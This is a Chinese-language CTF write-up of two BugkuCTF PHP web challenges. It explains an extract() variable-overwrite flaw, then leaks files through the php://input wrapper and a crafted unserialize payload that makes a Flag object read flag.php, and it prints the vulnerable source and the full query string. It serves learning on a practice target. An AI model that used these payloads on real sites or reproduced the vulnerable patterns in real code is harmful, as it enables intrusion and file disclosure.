Web8/welcome to bugkuctf
php变量覆盖漏洞
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo “This is flag:” .” $flag”;
}
else
{
echo”sorry!”;
}
}
?>
先说一下php函数
extract() 函数
从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
trim(string,charlist)
string 必需。规定要检查的字符串。
charlist
可选。
规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
“\0” - NULL
“\t” - 制表符
“\n” - 换行
“\x0B” - 垂直制表符
“\r” - 回车
“ “ - 空格
empty()和isset()
PHP的isset()函数 一般用来检测变量是否设置
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
PHP的empty()函数 判断值为否为空
若变量不存在则返回 TRUE
若变量存在且其值为””、0、”0”、NULL、、FALSE、array()、var $var; 以及没有任何属性的对象,则返回 TURE
若变量存在且值不为””、0、”0”、NULL、、FALSE、array()、var $var; 以及没有任何属性的对象,则返回 FALSE
php封装协议php://input写入fn的值与a相同即可
注意要用post方法,且注意是在那个php文件下执行的该操作
php反序列化
welcome to the bugkuctf中利用php封装协议读取index.php和hint.php的内容得到全部的源码,可知flag在flag.php里,但是需要绕过一步正则匹配的限制。
hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“good”);
}
}
}
?>
index.php
<?php
$txt = $_GET[“txt”];
$file = $_GET[“file”];
$password = $_GET[“password”];
if(isset($txt)&&(file_get_contents($txt,’r’)===”welcome to the bugkuctf”)){
echo “hello friend!
“;
if(preg_match(“/flag/“,$file)){
echo “不能现在就给你flag”;
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo “you are not the number of bugku ! “;
}
?>
源码中可以看到如果没有匹配到flag的话就会引用file的文件,所以file=hint.php,password的值进行序列化构造,当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 wakeup() 成员函数。
unserialize()函数变量可控所以就可以构造payload使得hint.php的全局变量file为flag.php
password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}最终构造的payload为?txt=php://input&file=hint.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}